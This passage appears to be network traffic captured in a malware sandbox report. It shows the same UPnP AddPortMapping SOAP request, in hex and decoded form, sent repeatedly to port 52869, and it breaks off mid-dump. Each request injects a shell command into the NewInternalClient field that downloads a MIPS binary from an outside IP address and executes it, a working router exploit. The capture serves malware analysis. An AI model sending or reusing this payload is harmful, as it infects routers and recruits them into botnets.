                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:29.403789997 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:31.995570898 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:37.115493059 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:47.099123955 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:07.834589958 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:48.793373108 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      7192.168.2.1552296185.29.194.21452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:27.270390034 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 